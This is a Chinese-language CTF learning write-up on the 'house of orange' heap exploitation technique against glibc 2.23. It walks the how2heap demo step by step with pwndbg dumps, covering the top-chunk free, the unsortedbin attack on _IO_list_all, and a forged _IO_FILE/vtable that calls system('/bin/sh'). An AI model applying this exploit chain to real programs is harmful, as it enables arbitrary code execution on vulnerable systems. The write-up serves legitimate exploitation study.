1．准备工作
学习了CTF比赛中的一种堆利用方法—house of orange，看了很多师傅们的博客和一些国外网站，现在总算理清了一些利用原理。
house of orange攻击的主要思路是利用unsortedbin attack修改_IO_list_all指针，并伪造_IO_FILE_plus结构体及其vtable（虚表）来劫持控制流。
为了更加深入地理解，很有必要gdb调试glibc中的malloc.c代码。以我的环境为例，在调试glibc代码前需要安装：
1. Ubuntu 16.04 x64
2. gdb。我个人使用pwndbg，您也可以使用其他，如gdb-peda。
3. 源代码和调试符号。借助于调试符号，逆向工程师就能调试任何感兴趣的内容了。
sudo apt-get install glibc-source
sudo apt-get install libc6-dbg
sudo tar xf /usr/src/glibc/glibc-2.23.tar.xz
在gdb提示符下输入以下内容：
pwndbg> directory /usr/src/glibc/glibc-2.23/malloc/
pwndbg> b _int_malloc
上面的gdb命令会在您单步执行时显示被调试函数的源代码。
实际上，在glibc中没有malloc()，只能找到__libc_malloc()和_int_malloc()，而_int_malloc()才是内存分配的函数。__libc_malloc()仅对_int_malloc()进行简单封装。本文贴出的大部分代码都是从_int_malloc()中截取的。
下面以https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c
中的代码为例说明house of orange的原理。
精简掉注释和相关说明后，程序主体如下所示
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
char *p1, *p2;
size_t io_list_all, *top;
p1 = malloc(0x400-16);
top = (size_t *) ( (char*) p1 + 0x400 - 16);
top[1] = 0xc01;
p2 = malloc(0x1000);
io_list_all = top[2] +0x9a8;
top[3] = io_list_all -0x10;
memcpy( ( char *) top,"/bin/sh\x00", 8);
top[1] = 0x61;
_IO_FILE *fp = (_IO_FILE*) top;
fp->_mode = 0; //top+0xc0
fp->_IO_write_base =(char *) 2; // top+0x20
fp->_IO_write_ptr =(char *) 3; // top+0x28
size_t *jump_table =&top[12]; // controlled memory
jump_table[3] = (size_t)&winner;
*(size_t *) ((size_t) fp +sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
/* Finally, trigger thewhole chain by calling malloc */
malloc(10);
return 0;
}
int winner(char *ptr)
{
system(ptr);
return 0;
}
编译调试
gcc house_of_orange.c –g –o house_of_orange
gdb ./house_of_orange
2．调试过程及原理说明
首先从堆中分配一个chunk
p1 = malloc(0x400-16);
pwndbg> heap
0x602000PREV_INUSE {
prev_size = 0x0,
size = 0x401,
fd= 0x0,
bk= 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0,
}
0x602400 PREV_INUSE {
prev_size = 0x0,
size = 0x20c01,
fd= 0x0,
bk= 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0,
}
pwndbg> p p1
$2 = 0x602010 ""
2.1 泄露libc基址
考虑这么一种情况，假设在malloc时，程序中的bins里都没有合适的chunk，同时top chunk的大小已经不够用来分配这块内存。那么此时程序将会调用sysmalloc来向系统申请更多的空间。我们的目的在于用sysmalloc()中_int_free()获得一块释放的堆块。
对于堆来说有两种拓展方式：一是通过改变brk来拓展堆，二是通过mmap方式。其中只有brk拓展才会调用到_int_free()将老的top chunk释放掉，所以还需要满足一些条件。
由上述代码可知，要想使用brk拓展，需要满足chunk size < 0x20000
同时，在使用brk拓展之前还有一系列check
这里主要关注如何对齐到内存页。现代操作系统都是以内存也为单位进行内存管理的，一般内存也大小为4kb（0x1000），那么top chunk的size加上top chunk的地址所得到的值是和0x1000对齐的。
整理以上代码，所需条件有：
分配的chunk大小小于0x20000，大于top chunk的size
top chunk大小大于MINSIZE
top chunk的inuse等于1
top chunk的大小要对齐到内存页
满足了以上各种条件，就可以成功调用_int_free()来释放top chunk
此后，原先的top chunk将被放入unsorted bin中。
下一次分配时，就将会从unsorted bin中切割合适的大小，而切割下来的chunk的fd和bk的值将会是libc中的地址了。同时，若该chunk是large chunk，在fd_nextsize和bk_nextsize中还会储存堆中的地址，由此便可以完成信息泄露了。
利用代码
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01; //将top chunk的大小改为0xc01
p2 = malloc(0x1000);
执行上面3句，将原先的top chunk 0x602400放入到unsortedbin中。其中，0x602400+0xC00= 0x603000，它与0x1000是对齐的。
调试过程如下：
top = (size_t *) ( (char *) p1 + 0x400 - 16);
pwndbg> p top
$1 = (size_t *) 0x602400
top[1] = 0xc01;
pwndbg> heap
0x602000 PREV_INUSE {
prev_size = 0x0,
size = 0x401,
fd= 0x0,
bk= 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0,
}
0x602400 PREV_INUSE {
prev_size = 0x0,
size = 0xc01,
fd= 0x0,
bk= 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0,
}
0x603000 {
prev_size = 0x0,
size = 0x0,
fd= 0x0,
bk= 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0,
}
p2 = malloc(0x1000);
pwndbg> p p2
$3 = 0x623010 ""
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x602400 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂—0x602400
smallbins
empty
largebins
empty
2.2 劫持流程
接下来会涉及到IO_FILE的利用，这种方法被称为FSOP（File Stream Oriented Programming）。
每个FILE结构都通过一个_IO_FILE_plus结构体定义
其中包括一个_IO_FILE结构体和一个vtable虚表指针。_IO_FILE结构体保存了FILE的各种信息。vtable(虚表)指针指向了一系列函数指针。
_IO_FILE结构定义如下：
整个结构不用完全掌握，大概了解就行。
在进程中的产生的各个_IO_FILE结构会通过其中的struct _IO_FILE *_chain;连接在一起形成一个链表，其中表头使用全局变量struct _IO_FILE_plus *_IO_list_all来表示，通过_IO_list_all就可以遍历所有_IO_FILE结构。
_IO_jump_t *vtable结构定义如下，里面保存了一系列的函数指针。
以上，主要需要了解的就是 _IO_FILE_plus、_IO_FILE、vtable3个结构以及_IO_list_all指针的关系和及其内容。下面的图能较好地说明它们之间的关系。
2.3 unsortedbin attack
根据house of orange的流程，将利用unsortedbin attack来修改_IO_list_all指针的数值。
unsortedbin attack是怎么一回事呢，其实就是在malloc的过程中，unsortedbin会从链表上卸下来（只要分配的大小不是fastchunk大小）
在从unsorted bin中取出chunk时，会执行以下代码
这里将最后一个chunk取出，并把倒数第二个chunk的fd设置为unsorted_chunks(av)，这里unsorted_chunks(av)就是main_arena中top成员变量的地址(&main_arena+88)。
可以发现，如果我们将victim的bk改写为某个地址，则可以向这个地址+0x10（即为bck->fd）的地方写入&main_arena+88。
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
执行上面2句，相当于我们将unsortedbin中的chunk的bk改写成_IO_list_all - 0x10，这样当从unsorted bin中取出它时就可以成功将_IO_list_all改写为&main_arena+88
2.4 FSOP
在此之前，我们先了解一下malloc对错误信息的处理过程.
1) 在malloc出错时，会调用malloc_printerr函数来输出错误信息
2) malloc_printerr又会调用__libc_message
3) __libc_message又调用abort
4) abort则又调用了_IO_flush_all_lockp
5) 最后_IO_flush_all_lockp中会调用到vtable中的_IO_OVERFLOW函数
所以如果可以控制_IO_list_all的数值，同时伪造一个_IO_FILE和vtable并放入FILE链表中，就可以让上述流程进入我们伪造的vtable，并调用被修改为system的_IO_OVERFLOW函数。
但是想要成功调用_IO_OVERFLOW函数还需要绕过一些阻碍
观察代码发现，_IO_OVERFLOW存在于if之中，根据短路原理，若要执行到_IO_OVERFLOW，就需要让前面的判断都能满足，即：
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
或者
_IO_vtable_offset (fp) == 0
&& fp->_mode > 0
&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
以上两个条件至少要满足一个，这里我们将选择第一个，只需要构造mode、_IO_write_ptr和_IO_write_base。因为这些都是我们可以伪造的_IO_FILE中的数据，所以比较容易实现。
在前面介绍的unsortedbin attack可以将_IO_list_all指针的值修改为&main_arena+88。
但这还不够，因为我们很难控制main_arena中的数据，并不能在mode、_IO_write_ptr和_IO_write_base的对应偏移处构造出合适的值。
所以我们将目光转向_IO_FILE的链表特性。在前文_IO_flush_all_lockp函数的代码最后，可以发现程序通过fp = fp->_chain不断的寻找下一个_IO_FILE。
所以如果可以修改fp->_chain到一个我们伪造好的_IO_FILE的地址，那么就可以成功实现利用了。
巧妙的是，_IO_FILE结构中的chain字段对应偏移是0x68，而在&main_arena+88对应偏移为0x68的地址正好是大小为0x60的small bin的bk，而这个地址的刚好是我们可以控制的。
smallbins在main_arena中的位置：
下面截图说明：
(main_arena+88)+0x20为smallbin 0x20的fd，(main_arena+88)+0x28为smallbin 0x20的bk
… …
(main_arena+88)+0x60为smallbin 0x60的fd，(main_arena+88)+0x68为smallbin 0x60的bk
我们如果通过溢出，将位于unsorted bin中的chunk的size修改为0x61。（注：现在unsorted bin中的chunk就是之前被释放的top chunk的一部分）
那么在下一次malloc的时候，因为在其他bin中都没有合适的chunk，malloc将会进入大循环，把unsorted bin中的chunk放回到对应的small bin或large bin中。
因此，我们将位于unsorted bin中的chunk的size修改为0x61，因此该chunk就会被放入大小为0x60的small bin中，同时，该small bin的fd和bk都会变为此chunk的地址。
这样，当_IO_flush_all_lockp函数通过fp->_chain寻找下一个_IO_FILE时，就会寻找到smallbin 0x60中的chunk。
只要在这个chunk中伪造好_IO_FILE结构体以及vtable，把_IO_OVERFLOW设置为system，然后就可以成功getshell了。
利用代码
memcpy( ( char *) top, "/bin/sh\x00", 8); //传输system()函数所需的/bin/sh
top[1] = 0x61; //为了将chunk放到smallbins[0x60]中
_IO_FILE *fp = (_IO_FILE *) top;
fp->_mode = 0; // top+0xc0
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28
size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;// top+0xd8
/* Finally, trigger the whole chain by calling malloc */
malloc(10);
调试过程
pwndbg> x &_IO_list_all
0x7ffff7dd2520 <_IO_list_all>: 0xf7dd2540
pwndbg> x &main_arena
0x7ffff7dd1b20 : 0x00000000
io_list_all = top[2] + 0x9a8;
pwndbg> p io_list_all
$6 = 140737351853344 //0x7FFFF7DD2520
top[3] = io_list_all - 0x10;
0x602400 PREV_INUSE {
prev_size = 0x0,
size = 0xbe1,
fd= 0x7ffff7dd1b78,
bk = 0x7ffff7dd2510,
fd_nextsize = 0x0,
bk_nextsize = 0x0,
}
memcpy( ( char *) top, "/bin/sh\x00", 8);
pwndbg> x/20gx 0x602400
0x602400: 0x0068732f6e69622f 0x0000000000000be1
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510
0x602420: 0x0000000000000000 0x0000000000000000
0x602430: 0x0000000000000000 0x0000000000000000
0x602440: 0x0000000000000000 0x0000000000000000
0x602450: 0x0000000000000000 0x0000000000000000
0x602460: 0x0000000000000000 0x0000000000000000
0x602470: 0x0000000000000000 0x0000000000000000
0x602480: 0x0000000000000000 0x0000000000000000
0x602490: 0x0000000000000000 0x0000000000000000
通过在_IO_list_all设置硬件断点（wa *0x7ffff7dd2520），通过gdb调试glibc代码，发现执行完bck->fd=unsorted_chunks(av)后，_IO_list_all所指的数值改成了main_arena+88
top[1] = 0x61;
将这个chunk放入smallbin 0x60，所以将size位设置为0x61。同时，small bin[0x60]的fd和bk都会变为此chunk的地址
pwndbg> x/20gx 0x602400
0x602400: 0x0068732f6e69622f 0x0000000000000061
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510
0x602420: 0x0000000000000000 0x0000000000000000
0x602430: 0x0000000000000000 0x0000000000000000
0x602440: 0x0000000000000000 0x0000000000000000
0x602450: 0x0000000000000000 0x0000000000000000
0x602460: 0x0000000000000000 0x0000000000000000
0x602470: 0x0000000000000000 0x0000000000000000
0x602480: 0x0000000000000000 0x0000000000000000
0x602490: 0x0000000000000000 0x0000000000000000
gdb调试glibc代码，设置断点b _int_malloc，发现执行完下列语句后，将地址为0x602400的chunk放入smallbins[0x60]
由于之前unsortedbin attack来将_IO_list_all指针的值修改为&main_arena+88。
这样，当_IO_flush_all_lockp函数通过fp->_chain寻找下一个_IO_FILE时，就会寻找到smallbin 0x60中的chunk。
_IO_FILE *fp = (_IO_FILE *) top;
fp->_mode = 0; // top+0xc0
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28
pwndbg> x/50gx 0x602400
0x602400: 0x0068732f6e69622f 0x0000000000000061
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510
0x602420: 0x0000000000000002 0x0000000000000003
0x602430: 0x0000000000000000 0x0000000000000000
0x602440: 0x0000000000000000 0x0000000000000000
0x602450: 0x0000000000000000 0x0000000000000000
0x602460: 0x0000000000000000 0x0000000000000000
0x602470: 0x0000000000000000 0x0000000000000000
0x602480: 0x0000000000000000 0x0000000000000000
0x602490: 0x0000000000000000 0x0000000000000000
0x6024a0: 0x0000000000000000 0x0000000000000000
0x6024b0: 0x0000000000000000 0x0000000000000000
0x6024c0: 0x0000000000000000 0x0000000000000000
size_t *jump_table = &top[12]; // controlled memory
pwndbg> p jump_table
$7 = (size_t *) 0x602460
jump_table[3] = (size_t) &winner;
pwndbg> x/20gx 0x602400
0x602400: 0x0068732f6e69622f 0x0000000000000061
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510
0x602420: 0x0000000000000002 0x0000000000000003
0x602430: 0x0000000000000000 0x0000000000000000
0x602440: 0x0000000000000000 0x0000000000000000
0x602450: 0x0000000000000000 0x0000000000000000
0x602460: 0x0000000000000000 0x0000000000000000
0x602470: 0x0000000000000000 0x000000000040078f
0x602480: 0x0000000000000000 0x0000000000000000
0x602490: 0x0000000000000000 0x0000000000000000
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
pwndbg> x/50gx 0x602400
0x602400: 0x0068732f6e69622f 0x0000000000000061
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510
0x602420: 0x0000000000000002 0x0000000000000003
0x602430: 0x0000000000000000 0x0000000000000000
0x602440: 0x0000000000000000 0x0000000000000000
0x602450: 0x0000000000000000 0x0000000000000000
0x602460: 0x0000000000000000 0x0000000000000000
0x602470: 0x0000000000000000 0x000000000040078f
0x602480: 0x0000000000000000 0x0000000000000000
0x602490: 0x0000000000000000 0x0000000000000000
0x6024a0: 0x0000000000000000 0x0000000000000000
0x6024b0: 0x0000000000000000 0x0000000000000000
0x6024c0: 0x0000000000000000 0x0000000000000000
0x6024d0: 0x0000000000000000 0x0000000000602460
pwndbg> p (*(struct _IO_FILE_plus *)0x602400)
$4 = {
file = {
_flags = 1852400175,
_IO_read_ptr= 0x61 ,
_IO_read_end = 0x7ffff7dd1b78 "\020@b",
_IO_read_base = 0x7ffff7dd2510 "",
_IO_write_base = 0x2 ,
_IO_write_ptr = 0x3 ,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 4196239,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000'
},
vtable = 0x602460
}
pwndbg> p (*(struct _IO_jump_t *)0x602460)
$5 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x0,
__overflow = 0x40078f ,
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x602460,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}
因为unsortedbin attack的时候破坏了unsorted bin的链表结构，所以接下来的分配过程会出现错误，系统调用malloc_printerr去打印错误信息，从而被我们劫持流程，执行到winner，然后由winner执行system函数。
3. 总结
之前看了很多house of orange的介绍，总不得要领。通过gdb调试glibc的malloc.c后，才知道unsortedbin attack，FSOP的操作都是在最后执行malloc(10)的时候完成的。
完整地跟踪一遍_int_malloc()函数就清楚了：当调用malloc(10)时，首先将unsortedbin中的chunk摘下来，从而导致_IO_list_all修改为main_arena+88
之后将摘下来的chunk放到smallbin[0x60]中
最后，由于unsortedbin attack破坏了unsorted bin的链表结构。此时，victim= (mchunkptr) 0x7ffff7dd2510，victim->size=0，满足__builtin_expect(victim->size <= 2 * SIZE_SZ, 0)，所以在大循环中系统调用malloc_printerr去打印错误信息。
从而被我们劫持流程，执行到winner，然后由winner执行system函数。
而下面的这些语句仅仅是为漏洞利用提供子弹而已
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
memcpy( ( char *) top, "/bin/sh\x00", 8);
top[1] = 0x61;
_IO_FILE *fp = (_IO_FILE *) top;
fp->_mode = 0; // top+0xc0
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28
size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;// top+0xd8
malloc(10);才会最终执行malloc中的攻击链，类似于化学反应中的催化剂。
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